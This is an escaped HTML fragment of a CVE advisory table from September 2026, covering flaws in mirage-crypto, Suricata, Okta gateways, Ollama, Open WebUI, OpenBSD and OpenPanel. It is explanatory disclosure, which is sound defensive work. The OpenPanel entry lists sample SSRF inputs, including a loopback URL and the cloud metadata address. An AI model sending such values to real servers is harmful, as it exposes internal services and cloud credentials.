&lt;td&gt;An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87733&quot; target=&quot;_blank&quot;&gt;CVE-2026-87733&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--mirage-crypto-ec&lt;/td&gt;
&lt;td&gt;An issue was discovered in the mirage-crypto-ec package before 2.4.0 for OCaml. There is a timing side channel for NIST elliptic-curve scalar multiplication: the time required for a lookup can depend on a secret.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87737&quot; target=&quot;_blank&quot;&gt;CVE-2026-87737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--mirage-crypto-ec&lt;/td&gt;
&lt;td&gt;An issue was discovered in the mirage-crypto-ec package before 2.3.0 for OCaml. There is an EC public key out-of-bounds read for compressed points.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87736&quot; target=&quot;_blank&quot;&gt;CVE-2026-87736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--mirage-crypto-pk&lt;/td&gt;
&lt;td&gt;An issue was discovered in the mirage-crypto-pk package before 2.3.0 for OCaml. There is an undocumented exception for a small message during RSA decryption or encryption.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87735&quot; target=&quot;_blank&quot;&gt;CVE-2026-87735&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--opam&lt;/td&gt;
&lt;td&gt;In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57825&quot; target=&quot;_blank&quot;&gt;CVE-2026-57825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, Suricata&#039;s inspection-buffer helper could leave an inspection pointer referencing freed memory after a chained transform caused the backing buffer to be reallocated. The issue is reached during a specific network traffic processing, and requires a specific but not malicious rule. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, avoid rules that chain `dotprefix` transform after another one.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45751&quot; target=&quot;_blank&quot;&gt;CVE-2026-45751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, when certain detection transforms are chained, the decompress transform pipeline could read from an inspection buffer after it had been reallocated and freed. The issue is reached during network traffic processing, but requires a malicious rule as Suricata will crash whatever the traffic. Version 8.0.5 contains a fix. As a workaround, avoid rules that chain `gunzip` or `zlib_deflate` with `max-size` bigger than 4096 after another transform.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45752&quot; target=&quot;_blank&quot;&gt;CVE-2026-45752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, when Lua rule execution is enabled, the Lua sandbox memory limit was not consistently enforced for new allocations. Certain Lua allocation patterns could exceed `security.lua.max-bytes` without triggering the intended memory limit, making the configured sandbox limit unreliable. This requires Lua rules to be enabled and an affected Lua script/rule to be loaded. Version 8.0.5 contains a fix. As a workaround, disable `security.lua.allow-rules` unless Lua rules are required.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45763&quot; target=&quot;_blank&quot;&gt;CVE-2026-45763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, a malicious rule could potentially overwrite any file on the file system on rule load or reload. Versions 7.0.16 and 8.0.5 fix the issue. Some workarounds are available. Preprocess `load`+ `save` rules to disallow absolute filenames for save, use Suricata&#039;s privilege dropping to limit writable files, and/or configure landlock in suricata.yaml.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45767&quot; target=&quot;_blank&quot;&gt;CVE-2026-45767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway does not sanitize the application label field before including it in the generated nginx configuration file. The unsanitized value is interpolated into an nginx server block directive, resulting in execution of injected directives.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78545&quot; target=&quot;_blank&quot;&gt;CVE-2026-78545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway management console passes user-supplied input to eval() without sanitization during an authenticated administrator SSH session. As a result, the unsanitized input is executed directly, leading to code execution with the privileges of the management console.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78550&quot; target=&quot;_blank&quot;&gt;CVE-2026-78550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway does not apply its Lua directive restriction to the application-level custom configuration field. The field is interpolated directly into the nginx server block without inspection, resulting in execution of injected directives.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78552&quot; target=&quot;_blank&quot;&gt;CVE-2026-78552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway does not sanitize SAML assertion attribute values before interpolating them into LDAP search filters in the LDAP datastore configuration. The raw values are substituted directly into the filter string and passed to the LDAP search operation, resulting in modification of the intended query logic.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78579&quot; target=&quot;_blank&quot;&gt;CVE-2026-78579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway does not sanitize dashboard label values before writing them into generated PHP configuration files. The generated file is automatically included during authentication requests, resulting in execution with the privileges of the web server process.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78625&quot; target=&quot;_blank&quot;&gt;CVE-2026-78625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway does not neutralize shell metacharacters in SNMP configuration values before a privileged script uses them to construct OS commands. An authenticated local user with access to the management interface can supply crafted values, resulting in the execution of arbitrary OS commands with root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78630&quot; target=&quot;_blank&quot;&gt;CVE-2026-78630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway Kerberos configuration handler does not validate file paths specified in event payloads before writing file contents. The path from the event payload is used directly as the write destination, resulting in files being written to unintended locations on the appliance filesystem.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78620&quot; target=&quot;_blank&quot;&gt;CVE-2026-78620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway includes an optional pass-through authentication source that accepts user identity from a client-supplied HTTP header without cryptographic validation. In architectures where this optional source is enabled without an upstream reverse proxy or firewall configured to sanitize and enforce client headers, an unauthenticated user can supply an arbitrary identity value to initiate a session.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78560&quot; target=&quot;_blank&quot;&gt;CVE-2026-78560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway backup restore function does not validate the filename embedded in an encrypted backup payload. This results in writing file contents to unintended locations on the appliance filesystem.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78624&quot; target=&quot;_blank&quot;&gt;CVE-2026-78624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Hyperdrive Agent&lt;/td&gt;
&lt;td&gt;The Okta Hyperdrive agent plugin returns a success response without a signed SAML assertion when the organization&#039;s policy requires no MFA for a given user. The response contains only a bare boolean validation indicator with no cryptographic artifact, resulting in an unverifiable authentication verdict being delivered to the relying application.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78629&quot; target=&quot;_blank&quot;&gt;CVE-2026-78629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Hyperdrive Agent&lt;/td&gt;
&lt;td&gt;The Okta Hyperdrive Agent writes the decoded SAML bearer assertion to a local application log file at the default log level on every successful MFA completion. This insertion of sensitive information into the log file makes a live authentication credential readable by any local user with access to the log file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78631&quot; target=&quot;_blank&quot;&gt;CVE-2026-78631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Privileged Access Client&lt;/td&gt;
&lt;td&gt;The Okta Privileged Access client URL handler does not insert an option terminator before appending the target value to the command-line arguments. When a scaleft:// protocol handler link contains a value beginning with a hyphen, the underlying CLI framework interprets it as a command-line flag, causing unintended modification of the SSH client&#039;s behavior.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78635&quot; target=&quot;_blank&quot;&gt;CVE-2026-78635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Verify for Windows&lt;/td&gt;
&lt;td&gt;The Okta Verify for Windows uninstaller does not verify whether the user data directory is a filesystem junction before deleting its contents with elevated privileges. The delete operation follows the junction target, resulting in recursive deletion of unintended directory contents.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78622&quot; target=&quot;_blank&quot;&gt;CVE-2026-78622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ollama--Ollama&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Ollama up to 0.31.1. This issue affects the function readGGUFV1String of the file fs/ggml/gguf.go of the component GGUF Decoder. Performing a manipulation results in integer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used. Upgrading to version 0.31.2-rc1 is capable of addressing this issue. The patch is named 67b6a1c2d45321e0cb3c04a18073f9818de7724b. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86289&quot; target=&quot;_blank&quot;&gt;CVE-2026-86289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-ebpf-profiler&lt;/td&gt;
&lt;td&gt;OpenTelemetry eBPF Profiler is a production-scale agent for profiling applications across multiple programming languages. Starting in version 0.0.202527&amp;nbsp;and prior to version 0.0.202622, an unprivileged process can cause the profiler to open a nonregular mapping file, such as a FIFO, and block indefinitely, preventing further ELF analysis and causing a denial of service. Version 0.0.202622&amp;nbsp;contains a patch. No known workarounds are available.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48496&quot; target=&quot;_blank&quot;&gt;CVE-2026-48496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, role synchronization in backend/open_webui/routers/auths.py and backend/open_webui/utils/oauth.py updated an administrator&#039;s database role without invalidating the user record cached by backend/open_webui/socket/main.py. An administrator demoted through a trusted role header or OAuth role mapping could keep an already-open Socket.IO connection and continue reading or editing every user&#039;s collaborative notes until that connection closed. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87014&quot; target=&quot;_blank&quot;&gt;CVE-2026-87014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.6.27 until 0.11.1, backend/open_webui/utils/tools.py captured a cookie jar from the enclosing connection loop instead of binding it to each external tool callable. When multiple tool servers were attached and a session or system OAuth connection was processed last, a request to a different server configured for bearer authentication could include the calling user&#039;s Open WebUI session cookies, allowing that server&#039;s operator to reuse the session and take over the account. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87015&quot; target=&quot;_blank&quot;&gt;CVE-2026-87015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, DELETE /api/v1/chats/{id}/messages/{message_id} used the chat-history deletion helper in backend/open_webui/models/chats.py to follow childrenIds without recording visited message identifiers. An authenticated user could store a cyclic chat tree and delete a message, causing a synchronous infinite loop on the server request loop that blocked every user&#039;s requests until the process was killed. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88000&quot; target=&quot;_blank&quot;&gt;CVE-2026-88000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.5.0 until 0.11.1, the message-chain reconstruction helper in backend/open_webui/utils/misc.py advanced through a chat history by map key but tracked visited entries using each message body&#039;s optional id field. An authenticated user could store id-less messages in a parent cycle and trigger a non-terminating walk that blocked the async event loop, grew memory until termination, and remained persistent across process restarts. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88002&quot; target=&quot;_blank&quot;&gt;CVE-2026-88002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.0 until 0.9.0, Open WebUI&#039;s OAuth token exchange endpoint issues a session for a provider access token without applying the email domain allowlist that the normal OAuth login callback enforces. An account whose email domain the login callback would refuse could still obtain a working session through this endpoint. This issue is fixed in version 0.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88005&quot; target=&quot;_blank&quot;&gt;CVE-2026-88005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.0 until 0.11.1, Open WebUI&#039;s OAuth token exchange endpoint issues a session for a provider access token without running the OAuth role management that the normal OAuth login callback runs. A user whose provider roles the login callback would refuse, or would demote, could still obtain a working session at their existing role through this endpoint. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88006&quot; target=&quot;_blank&quot;&gt;CVE-2026-88006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 until 0.11.1, server-side web fetches did not reapply WEB_FETCH_FILTER_LIST or private-address controls to HTTP redirect destinations when AIOHTTP_CLIENT_ALLOW_REDIRECTS was enabled. An authenticated user could redirect the aiohttp and requests fetch paths to excluded hosts, loopback, private networks, or cloud metadata services and route resulting content into web search, URL ingestion, page-fetch tools, or chat image processing. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88001&quot; target=&quot;_blank&quot;&gt;CVE-2026-88001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, backend/open_webui/models/calendar.py stored the calendar event meta.alert_minutes value without type validation and the shared upcoming-event scheduler compared that value numerically. An authenticated user with the calendar permission could store a non-numeric alert_minutes value that raised an exception and aborted the instance-wide alert pass, suppressing all users&#039; reminders while the event remained in the lookahead window. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87012&quot; target=&quot;_blank&quot;&gt;CVE-2026-87012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, POST /api/v1/folders/{id}/update/parent allowed a user to place a folder under itself or one of its descendants, while the folder tree walks used by DELETE /api/v1/folders/{id} and POST /api/v1/folders/{id}/read did not track visited folder identifiers. An authenticated user could persist a parent cycle and start a request that consumed CPU and memory indefinitely, with the condition remaining stored until repaired. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87013&quot; target=&quot;_blank&quot;&gt;CVE-2026-87013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.7.0 until 0.11.1, the built-in knowledge search tool passed the caller&#039;s readable knowledge identifiers through a metadata filter, but the search methods in eleven shipped vector backends ignored that filter. An authenticated user on an affected backend could enumerate the identifiers, names, and descriptions of inaccessible knowledge bases from the shared collection, although the associated document text remained in separate collections. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87017&quot; target=&quot;_blank&quot;&gt;CVE-2026-87017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 until 0.11.1, the channel branch of chat_completion in backend/open_webui/main.py checked channel write access and channel membership for a supplied message_id but did not verify that the calling user authored the targeted message. A channel member could use the chat completions endpoint to replace another member&#039;s message while preserving the victim as the stored author, altering the conversation record without gaining access to other channels. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87994&quot; target=&quot;_blank&quot;&gt;CVE-2026-87994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, POST /api/chat/completions and POST /api/v1/chat/completions in backend/open_webui/main.py copied a client-supplied folder_id into a new chat without applying the folder write-access check used by the dedicated chat routes. An authenticated user who knew a shared folder identifier could inject an attacker-controlled chat into a folder where the user had read-only or no write access, causing the entry to appear to authorized folder readers. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87997&quot; target=&quot;_blank&quot;&gt;CVE-2026-87997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openagents-org--openagents&lt;/td&gt;
&lt;td&gt;A vulnerability was found in openagents-org openagents up to 0.8.19/0.9.3.post20. Impacted is the function test_default_model of the file sdk/src/openagents/sdk/transports/http.py. Performing a manipulation of the argument base_url results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. Endpoint and both sinks unchanged since filing; only the file moved (e277dd1a). Maintainer closed as inapplicable yet the identical unguarded code still ships in 0.9.3.post20. Sibling admin endpoints do call the shipped-but-unused-by-this-handler _require_admin().&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86237&quot; target=&quot;_blank&quot;&gt;CVE-2026-86237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenBSD--OpenBSD&lt;/td&gt;
&lt;td&gt;OpenBSD before commit 1ee99df contains an inverted comparison vulnerability in the ieee80211_michael_mic_failure() function within sys/net80211/ieee80211_crypto_tkip.c that allows unauthenticated attackers within RF range to trigger denial of service by sending two malformed TKIP frames separated by more than 60 seconds. Attackers can exploit the reversed TKIP MIC failure countermeasure window check to deauthenticate all associated TKIP stations and block reassociation for up to 90 seconds, while within-window MIC failures that should engage countermeasures are silently discarded, leaving key-recovery attempts undetected.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56101&quot; target=&quot;_blank&quot;&gt;CVE-2026-56101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Openpanel-dev--openpanel&lt;/td&gt;
&lt;td&gt;OpenPanel is an analytics platform. In all versions (no patched release available at time of publication), the data importer fetches a caller-supplied URL with plain fetch instead of the project&#039;s existing SSRF guard (apps/api/src/utils/safe-fetch.ts). In packages/importer/src/providers/umami.ts, parseRemoteFile calls fetch() on config.fileUrl, which is validated only by z.string().url(), so values such as http://127.0.0.1:9911/ or http://169.254.169.254/latest/meta-data/ are accepted; the shared createFileImportConfig factory gives the plausible provider the same field. An authenticated organization member - including a default &#039;member&#039; with no project_access rows, for whom the intended access-level check is skipped because getProjectAccess returns boolean true rather than a level object - can therefore make the server connect to any address reachable from it. The resulting HTTP status and status text are persisted as Import.errorMessage and returned by import.get to the same user, providing a scanning oracle for internal hosts, ports and paths; if an internal response parses as Umami CSV, its rows are ingested as events and become readable in the attacker&#039;s analytics views.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88892&quot; target=&quot;_blank&quot;&gt;CVE-2026-88892&lt;/a&gt;&lt;/td&gt;
